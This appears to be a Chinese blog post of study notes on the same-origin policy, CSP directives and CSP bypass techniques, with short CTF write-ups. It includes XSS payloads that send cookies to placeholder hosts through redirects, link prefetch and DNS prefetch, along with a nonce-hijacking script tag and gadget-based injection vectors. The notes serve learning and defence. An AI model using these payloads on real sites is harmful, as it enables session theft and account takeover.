CSP

Fc04dB Lv4

# 内容安全策略(CSP)

# 同源策略

同源策略(Same origin policy)是一种约定

是浏览器的行为,是为了保护本地数据不被 JavaScript 代码获取回来的数据污染,因此拦截的是客户端发出的请求回来的数据接收,即请求发送了,服务器响应了,但是无法被浏览器接收。

浏览器执行 javascript 脚本时,会检查这个脚本属于哪个页面,如果不是同源页面,就不会被执行

一个源的定义:如果两个页面的协议,端口(如果有指定)和域名都相同,则两个页面具有相同的

不受同源策略限制的

  1. 页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
  2. 跨域资源的引入是可以的。但是 js 不能读写加载的内容。如嵌入到页面中的 <script src="..."></script>,<img>,<link>,<iframe> 等。

# CSP

内容安全策略(Content Security Policy,简称 CSP)是一种以可信白名单作机制,来限制网站是否可以包含某些来源内容,缓解广泛的内容注入漏洞,比如 XSS。 简单来说,就是我们能够规定,我们的网站只接受我们指定的请求资源。默认配置下不允许执行内联代码( <script> 块内容,内联事件,内联样式),以及禁止执行 eval() , newFunction() , setTimeout([string], …) 和setInterval([string], …)

# CSP 指令

  • default-src : 定义针对所有类型(js/image/css/font/ajax/iframe/ 多媒体等)资源的默认加载策略,如果某类型资源没有单独定义策略,就使用默认的。
  • script-src : 定义针对 JavaScript 的加载策略。
  • style-src : 定义针对样式的加载策略。
  • img-src : 定义针对图片的加载策略。
  • font-src : 定义针对字体的加载策略。
  • media-src : 定义针对多媒体的加载策略,例如:音频标签 <audio> 和视频标签 <video>
  • object-src : 定义针对插件的加载策略,例如: <object><embed><applet>
  • child-src : 定义针对框架的加载策略,例如: <frame> , <iframe>
  • connect-src : 定义针对 Ajax/WebSocket 等请求的加载策略。不允许的情况下,浏览器会模拟一个状态为 400 的响应。
  • sandbox : 定义针对 sandbox 的限制,相当于 <iframe> 的 sandbox 属性。
  • report-uri : 告诉浏览器如果请求的资源不被策略允许时,往哪个地址提交日志信息。
  • form-action : 定义针对提交的 form 到特定来源的加载策略。
  • referrer : 定义针对 referrer 的加载策略。
  • reflected-xss : 定义针对 XSS 过滤器使用策略。

# CSP 指令值

指令值 说明
* 允许加载任何内容
‘none’ 不允许加载任何内容
‘self’ 允许加载相同源的内容
www.a.com 允许加载指定域名的资源
*.a.com 允许加载 a.com 任何子域名的资源
https://a.com 允许加载 a.com 的 https 资源
https: 允许加载 https 资源
data: 允许加载 data: 协议,例如:base64 编码的图片
‘unsafe-inline’ 允许加载 inline 资源,例如 style 属性、onclick、inline js、inline css 等
‘unsafe-eval’ 允许加载动态 js 代码,例如 eval ()

# CSP 默认特性

  • 阻止内联代码执行
  • EVAL 相关功能被禁用

# CSP 绕过

两道案例

# Baby CSP

在 PHP 中,如果在调用 header() 函数之前已经有输出(比如错误信息或 HTML 内容),那么这个调用会被忽略,因为 HTTP 协议要求头部信息在内容之前发送。

在这种情况下,如果产生的警告信息足够多,可能会占满默认的 4096 字节的输出缓冲区,这样就会在发送 CSP 头部之前先将这些警告信息发送给浏览器,从而导致 CSP 头部被忽略。因此,攻击者可以利用这个机制插入恶意代码。

总结来说,就是警告信息的输出顺序会影响 HTTP 头部的发送,可能导致安全策略失效。

# Babier CSP

几经辗转后发现,题目的 nonce 属于硬编码,直接读取即可。

刚开始没注意 NONCE 已经初始化,而且在我们访问题目的时候,不会在去执行模板上面的 NONCE 生成,因此每次访问是不会变的。

# 一些语句的绕过

# script-src ‘self’ ‘unsafe -inline’

在允许 unsafe-inline 的情况下,可以用 window.location,或者 window.open 之类的方法进行跳转绕过。

1
2
3
4
<script>window.location="https://www.XXX.com/x.php?c=[cookie]";</script>
<script>window.open('//www.XXX.com/?'+escape(document.cookie))</script>
<script>window.location.href='https://www.XXX.com/?cookie='+document.cookie</script>
123

内嵌 script 都可以执行,当然可以直接执行本页面的 JS,如输入即可,这里的利用和 XSS 利用一致

# script-src ‘self’ ‘unsafe-eval’

重用 Gadgets 代码来绕过 CSP,具体可参考 Black Hat 2017 的 ppt,上面总结了可以被用来绕过 CSP 的一些 JS 库。

例如假设页面中使用了 Jquery-mobile 库,并且 CSP 策略中包含”script-src ‘unsafe-eval’” 或者”script-src ‘strict-dynamic’”,那么下面的向量就可以绕过 CSP:

1
<div data-role=popup id='<script>alert(1)</script>'></div>
# script-src:‘none-*’

利用浏览器补全绕过 script nonce

1
Content-Security-Policy: default-src 'none';script-src 'nonce-xxx'

这种情况下,script 标签需要带上正确的 nonce 属性值才能执行 JS 代码。

如果,出现了脚本插入点在含有 nonce 属性值的 script 标签前面的情况时,如:

1
<p>插入点</p><script id="aa" nonce="abc">document.write('CSP');</script>

可以插入如下内容来利用浏览器补全功能:

1
<script src="http://192.168.248.1/a.js" a="

最终形成如下页面结构:

1
2
<p><script src="http://192.168.248.1/a.js" a="</p>
<script id="aa" nonce="xxx">document.write('CSP');</script>

也就是说,利用浏览器补全的功能,在含有 nonce 的 script 标签前面的插入点插入 script 标签的同时,插入 a=” 以闭合后面 script 标签的第一个属性的双引号,从而使中间的内容失效,将本来的 nonce 属性劫持到了插入的 script 标签中,使得该插入标签可以正常执行 JS 代码,也就是说浏览器会给我们自动补全只有一个双引号的属性的值。

还有一个注意点,上述的 a 标签在 Chrome 上是执行不了的,原因在于 Chrome 对于标签的解析方式则不同,Chrome 中解析 script 标签的优先级高于解析属性双引号内的值,因而前面双引号闭合的时候没法正常使其失效。但是这里可以使用 src 属性替代,使其可在 Chrome 下正常执行。

当我们输入

1
<script src="http://192.168.43.201/a.js" a="

时即会弹框:
值得注意的就是,要想成功利用在 nonce 属性前需要存在一个用引号括起来的属性,不然会失效。

利用浏览器缓存绕过 script nonce
原理:

csp-test.php,开启了 nonce script 规则,并且有 XSS 点:
我们需要利用 iframe 引入这个页面,并对其发起请求获取页面内容,这里我们通过向其中注入一个
标签来吃掉后面的 script 标签,这样就可以获取内容。

# 绕过 xx-src self

CSP 策略中 xx-src self 的设置能够使大部分的 XSS 和 CSRF 都会失效,但 link 标签的预加载功能可以进行绕过。在 Chrome 下,可以使用如下标签发送 cookie(最新版 Chrome 会禁止):

<link rel="prefetch" href="https://www.xxx/c.php?c=[cookie]">

在 Firefox 下,可以将 cookie 作为子域名,用 DNS 预解析的方式把 cookie 带出去,查看 DNS 服务器的日志就能得到 cookie:

<link rel="dns-prefetch" href="//[cookie].xxx.com">

特例:script-src ‘self’ 代表着只能加载符合同源策略的文件,直接插入至 html 页面中的静态 script 标签将无法执行。结合其他 CSP 来看,常用的 iframe,object 等标签也是无法被绕过的。

使用 link 的预加载机制去带出 cookie,然而受限于 script-src ‘self’ 的限制,虽然能够通过 dns 带出信息,但是无法将 cookie 带出来,因此预加载也是无法使用的。于是只能另外寻找突破口,在查阅大量资料后发现,可以通过引入正常的非 js 文件来达到引入 js 脚本的效果。题目中要是具有上传点,可以将 js 代码插入到尾部来进行绕过。

# Gadgets

https://xz.aliyun.com/t/4165

字符串操作

这种 Gadget 主要是指对字符串的操作,一个字符串在经过操作后可能变为造成攻击的字符。

例如 Polymer 中的一段代码 dash.replace(/-[a-z]/g, (m) => m[1].toUpperCase()) ,这段代码会把以连字符构成的字符串变为大写,例如像 inner-h-t-m-l 这种字符串处理后会变成 innerHTML 。大部分 WAF 是对请求值和返回值做匹配,而此时传入的是 inner-h-t-m-l 而不是 innerHTML ,那么就有可能造成绕过。

元素创建

这种 Gadget 是像 document.createElement(input) document.createElement("script") jQuery("<" + tag + ">") jQuery.html(input) 这种直接创建的标签甚至 script 的代码片段。当输入一定程度可控时,则可利用这种 Gadget。

函数创建

这种 Gadget 是指创建函数的代码段,比如 Underscore.js 中发现的一段代码:

1
2
3
4
5
source = "var __t,__p='',__j=Array.prototype.join," +
"print=function(){__p+=__j.call(arguments,'');};\n" +
source + 'return __p;\n';
var render = new Function(
settings.variable || 'obj', '_', source);

这种 Gadget 会间接执行构造的代码段,在一定条件下可造成攻击。

JavaScript 代码执行

这种 Gadget 主要是指类似 eval 这种会直接执行传入代码的代码段,例如:

1
2
3
4
5
eval(input);
inputFunction.apply();
node.innerHTML = "prefix" + input + "suffix";
scriptElement.src = input;
node.appendChild(input);

表达式解析

很多前端框架都提供了自己的模版引擎,有着丰富而强大的功能,这种 Gadget 就是框架中对模版表达式解析执行而造成的问题。例如 Aurelia 框架中可以用下面这段代码来触发一个代码执行。

1
2
3
<div ref=me
s.bind="$this.me.ownerDocument.defaultView.alert(1)"
></div>
  • Title: CSP
  • Author: Fc04dB
  • Created at : 2024-10-27 21:54:29
  • Updated at : 2024-10-28 18:38:15
  • Link: https://redefine.ohevan.com/2024/10/27/CSP/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments